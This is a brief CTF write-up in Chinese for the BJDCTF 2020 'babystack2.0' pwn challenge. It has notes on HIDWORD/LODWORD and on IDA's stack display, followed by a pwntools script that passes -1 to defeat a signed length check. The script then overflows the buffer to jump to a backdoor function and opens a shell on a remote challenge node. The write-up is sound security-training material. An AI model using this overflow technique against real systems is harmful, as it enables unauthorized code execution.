[BJDCTF 2020]babystack2.0

HIDWORD作用是取得某个8字节变量(即32位的值)在内存中处于高位的四个字节,即两个word长的数据
LODWORD作用是取得某个8字节变量(即32位的值)在内存中处于低位的四个字节,即两个word长的数据

IDA的栈不完全对，保存的ebp都没有显示，所以IDA只能参考
不存在file.plt[“backdoor”] plt是外部函数才有的 只能用file.symbol[“backdoor”]
用file.plt[“system”]不行，因为直接这样覆盖返回地址没有参数

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
file=remote("node4.anna.nssctf.cn","28129")
elf=ELF("/home/llk/下载/pwn")
file.sendlineafter("name:","-1")
system_addr=elf.sym["backdoor"]
payload=b'a'*0x18+p64(system_addr)
file.sendlineafter("name?\n",payload)
file.interactive()